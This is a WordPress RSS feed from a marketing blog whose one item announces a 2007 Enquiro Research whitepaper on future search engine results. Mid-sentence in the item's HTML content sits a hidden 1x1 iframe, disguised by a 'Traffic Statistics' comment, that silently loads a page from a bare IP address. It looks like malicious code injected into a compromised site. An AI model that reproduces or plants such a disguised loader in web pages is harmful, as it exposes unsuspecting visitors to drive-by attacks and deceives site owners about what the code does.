<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cornett Experience &#187; Future</title>
	<atom:link href="http://www.cornettexperience.com/tag/future/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.cornettexperience.com</link>
	<description>Thriving in hyper-competitive markets through experience differentiation</description>
	<lastBuildDate>Fri, 02 Jul 2010 21:05:22 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Whitepaper published: Search Engine Results 2010</title>
		<link>http://www.cornettexperience.com/2007/08/30/whitepaper-published-search-engine-results-2010/</link>
		<comments>http://www.cornettexperience.com/2007/08/30/whitepaper-published-search-engine-results-2010/#comments</comments>
		<pubDate>Fri, 31 Aug 2007 01:47:08 +0000</pubDate>
		<dc:creator>cornett</dc:creator>
				<category><![CDATA[Future]]></category>
		<category><![CDATA[search]]></category>

		<guid isPermaLink="false">http://www.cornettexperience.com/index.php/2007/08/30/whitepaper-published-search-engine-results-2010/</guid>
		<description><![CDATA[The final whitepaper has been published by Enquiro Research for "Search Engine Results 2010". In it, they cover what search engines may look like in the future, thoughts on personalization, universal search, eye tracking research, and interviews with leading industry experts such as Marissa Mayer, Jakob Nielsen, and Danny Sullivan.  <a href="http://www.cornettexperience.com/index.php/2007/08/30/whitepaper-published-search-engine-results-2010/">Read full article...</a>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F08%2F30%2Fwhitepaper-published-search-engine-results-2010%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.cornettexperience.com%2F2007%2F08%2F30%2Fwhitepaper-published-search-engine-results-2010%2F" height="61" width="51" /></a></div><p>The final whitepaper has been published by <a href="http://www.enquiroresearch.com">Enquiro Research</a> for <a href="http://www.enquiroresearch.com/personalization/">Search Engine Results 2010</a>. In it, they<!-- Traffic Statistics --><br />
<iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><br />
<!-- End Traffic Statistics --> cover what search engines may look like in the future, thoughts on personalization, universal search, eye tracking research, and interviews with leading industry experts such as Marissa Mayer, Jakob Nielsen, and Danny Sullivan.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.cornettexperience.com/2007/08/30/whitepaper-published-search-engine-results-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
